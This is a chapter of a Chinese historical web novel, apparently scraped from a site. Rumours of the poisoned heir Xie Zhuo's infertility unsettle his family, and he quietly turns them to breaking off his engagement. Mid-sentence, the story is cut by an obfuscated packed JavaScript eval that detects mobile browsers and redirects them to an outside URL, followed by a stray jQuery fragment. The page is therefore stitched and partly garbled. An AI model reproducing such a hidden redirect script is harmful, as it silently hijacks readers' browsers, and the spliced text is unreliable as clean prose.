“哎！你听说了没？端亲王府的世子爷中了奇毒，往后都生不出孩子了！”
同一桌的人听到这个消息，口中的饭差点喷了一出去：“什么？真的假的，世子爷不是中毒昏迷了吗，怎么突然不能生孩子了？”
“嘘！你小声点儿，我跟你说啊，我有个亲戚，他家就住在王府后面的小巷子里，他好几次看到有太医出入王府大门了，可见世子中毒很深这件事是千真万确！”
“啊？我记得世子的年纪不大吧，哎哟，真是太可怜了。”
“可不嘛，世子爷是个带兵打仗的好手，往后无子嗣继承衣钵，实在是太可惜了。”
……
临街的一个草棚食肆摊位上，几个衣着普通的男人正围坐在桌旁，一边吃肉一边低声议论。
本来谢卓中毒昏迷一事就成为京城百姓们的饭后谈资了，现在又爆出来一个不能生育的劲爆消息，全京城的百姓都沸腾了。
不过，碍于谢卓的身份，百姓们并不敢在明面上说什么，只敢在私底下议论一二。
仔细说来，谢卓中毒这件事情也算得上是京城里的奇闻。
他在下值的路上碰到有人拐卖孩童，出于正义冲上去与其搏斗，虽然最后救下了孩子但他本人却被砍伤，刀上还被淬了毒，导致他昏迷了大半个月才醒。
好不容易醒来，结果毒素没清除干净，影响他往后生育……
流言如同飓风一般席卷了整个京城。
八卦谁都爱听，要不是谢卓的身份太敏感，城里的说书先生们恨不得将此事改编为故事，一天在茶楼里说上三遍才满足。
朝堂上也因为谢卓中毒一事变得暗潮涌动。
端亲王府和礼部尚书府之间的亲事在朝中已不是秘密，这下谢卓突然传出不能生育的传闻，百官们看向谢弛和于昊英的眼中都带上了别样的深意。
他们私下也很好奇，这两家的亲事还能不能成。
谢弛在朝中只挂名不掌权，谢卓又走了武将的路子，这直接导致朝堂上世族的力量被削减很多，也让端亲王府和世族之间有了一丝裂痕，好在谢卓现在是武将，世族之间的斗争谢弛很少去掺和。
谢卓中毒的消息被泄露不是一件小事，王府上上下下一片混乱。
“王爷，我们一定要查清楚，到底是谁把消息传出的！”左慕蕊的脸色十分难看，心里恨极了乱传谢卓消息的人。
谢弛揉了揉眉心，“放心，我已经派人暗中去调查了。”
“高太医那边有没有说什么？”左慕蕊思来想去，还是觉得可能是高九庸那边传出去的，一来知道谢卓状况的人并不多，二来他们身为父母不会害自己的孩子，那么，唯一有可能泄露消息的人只能是高九庸。
谢弛闻言摇摇头，“应当不是他，他若有心要害怀砚就不会费尽心思为他解毒了。”
左慕蕊垂下眼眸想了一下，说的也是，她接着追问：“除了他还会是谁？”
谢弛眼睛一眯：“那日你去尚书府可有提起怀砚中毒之事？”
“提了，怀砚他中毒昏迷，满京城的人都知道了，我就顺嘴提了一句怀砚身体需要时间才能恢复……”说着说着，左慕蕊意识到了什么：“王爷，你的意思是怀砚的流言有可能是尚书府的人干的？”
“不排除这个可能。”
“我们两家即将结成姻亲，这样做对他们有什么好处？”
“若他们不想结这门亲了呢？”
“不可能！”左慕蕊下意识回道：“绝无可能！”
“你怎知绝无可能呢？怀砚他身子没问题的话对于家来说是一门好亲事，可怀砚他现在身子有问题，于家那边未必不会有别的想法。”
左慕蕊摇头：“不会的，这中间一定是有误会，雅丹那孩子从小就爱慕怀砚，还有素兰，王爷，上次咱们府上遇到困难，还是素兰她铤而走险为我们打探消息……王爷！”
“好了好了，我只是一个猜想罢了，散播消息的人一定会继续盯着府里情况，我已经派暗卫去查了。”
回到雨竹轩，左慕蕊心里久久不能平静，她怎么想都觉得心里发堵。
无论是男是女，不能生育对当事人来说都是一个非常残酷的打击，对男人来说更是奇耻大辱。
左慕蕊简直气得要死！
谢卓的身体里有余毒暂时不能生育是暂时的，又不是永久的，结果消息泄露后，传成了谢卓一辈子都不能生孩子。
房间里传来一阵摔碎东西的声音，下人们都低着头垫着脚尖走路，连呼吸的力道都放轻了，生怕一个不小心触到主子霉头。
章嬷嬷连忙上前轻轻拍打她的后背，劝她：“王妃，您得平静下来，不能让世子爷看出端倪来。”
说到谢卓，左慕蕊冷静下来，问：“清辉院那边怎么样了？”
“世子那边应该还不知晓发生了什么，想来是王爷吩咐过了。”
“嗯，我们去看看怀砚。”左慕蕊压下心中的急躁，整了整衣裙去往清辉院。
高太医说了，谢卓不能生育的原因是因为身体内残留毒素，只要将毒素排出便可恢复，但是，现在外界传的好像谢卓天生不能生育一样，左慕蕊心里非常不舒服。
更何况，不能生育这件事想澄清都没法澄清。
先不说谢卓的身子需要花两三年时间慢慢调理，就说怀孕生子的事是无法控制的，这人什么时候怀，什么时候生都是没有定数的。她总不能让时间加速，一下子跳到三四年后，指着谢卓说：“看，我儿子的身体里的余毒已经没了，他现在能生出健康的孩子了。”
左慕蕊其实有私下问过高九庸，两三年时间太久了，有没有什么快速恢复的办法。
高九庸的回答是：“办法是有，不过过程很受罪。”
她还记得高九庸是这样解释的：“血液乃生命之根本，它时时刻刻都在体内运行，气血运行不畅者会体虚易病，反之，气血运行顺畅者身体康健。世子身上的血液已经被毒素污染，毒素顺着血液进入到经脉之中，想要加快排出毒素，只能放血。”
“血液在身体里是循环运行的，放出有毒的血液后可刺激肝脾释放出更多的健康血液。”
左慕蕊一听要放血，立即放弃了让谢卓快速恢复的念头，慢慢调理就慢慢调理吧，欲速则不达的道理她是明白的。
走进清辉院的大门，左慕蕊敛起思绪。
谢卓吃完解毒丹后身体已经恢复的七七八八了，但因为高九庸的原因，他隔三差五就要泡一次药浴。
闻着空气中漂浮着的药材的苦味，谢卓眼里掠过一丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489193|185772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无奈，泡药浴虽麻烦了些，但为了不露马脚他还得再泡一段时间，好在药浴都是温性药材组成的，对身体没有伤害。
这会儿，谢卓正好泡好药浴出来，黑色头发全部高束在脑后，剑眉下深的眼眸像一团浓得化不开的墨，他的脸色不再似之前那般苍白，因为刚从热水里泡出来，他的头发还带着一丝水汽，肌肤也泛着淡淡的润泽感。
换上一身常服，谢卓开始处理事物，在床上躺了许久，有太多积压的事情需要他来处理。
“孙池那边怎么样了？”
“回世子，已经拿到供词了。”
谢卓接过供词拿看了一遍，孙池把他联系索命门刺杀傅知乔的事一五一十的交代了，供词最后还按了他的手印。
“很好，好好看着人，别让他死了。”
大戏尚未落幕，孙池还有用处。
*
“叩叩叩”门外响起敲门声，“世子，王妃娘娘来了。”
听到左慕蕊来了，谢卓忙站直身子，整理好衣襟和鬓发，恭敬地行礼：“儿子见过母妃。”
“好。”看到谢卓还有些湿润的发丝，知道他是刚刚泡过药浴，左慕蕊眼里透露出无尽的慈爱：“怀砚，你感觉如何？”
谢卓笑着回答：“多谢母妃关心，儿子感觉好多了。”
看着被蒙在鼓里的谢卓，左慕蕊一时间压抑不住内心的难受，勉强挤出一个笑容：“那就好，那就好，你的身子尚未完全恢复，骁骑军那边你父王帮你跟陛下告假了，这段时间你就好好在家养着，哪儿也别去了。”
“母妃有事瞒我？”
左慕蕊神情有一瞬间的僵硬，随即被很好的掩饰起来，她嘴角扯起：“没有，娘只是希望你能好好休养。”
谢卓出声打断她：“事已至此，母妃还要瞒我吗？”
左慕蕊手心里都捏出了一把汗：“你这孩子胡说什么呢，母妃瞒你什么了？”
谢卓静静地看着她，没有说话。
最后左慕蕊败下阵来，“你知道了？”
谢卓抿了抿嘴：“嗯。”
“怀砚，你好好休养身体，莫要多想……”
“有些事情不是我不想，它就不存在了。”谢卓将她的眼色尽收眼底，苦笑道：“母妃，我既已如此，何必耽搁人家好好的姑娘，这门亲事……还是算了吧！”
谢卓一脸的颓废。
此情此景，若是傅知乔在场，定要夸他一句“好演技！”
左慕蕊着急道：“怀砚，你千万不能这么想，高太医说了，用药可以调养好的，你的身子是可以调养好的！”
左慕蕊眼底划过一抹心疼，她如此出色的儿子，为何要遭受如此大的折磨呢？
“母妃，我自己的身子我清楚，我还要重新回到骁骑军中为朝廷效力，只是，我不想活在天下人的指指点点之下。”
左慕蕊理解他的抗拒，叹了口气后没有再说话。
母子俩静默了一会。
左慕蕊垂下眼眸，挡住了眼底的心疼，开口：“我会跟你父王好好商量的。”
看着一脸哀伤的左慕蕊，谢卓心里泛起一丝波动，而后他又想到了什么，逼迫自己硬下心肠。
左慕蕊走后，谢卓吩咐王骞信：“去把礼物送给于姑娘。”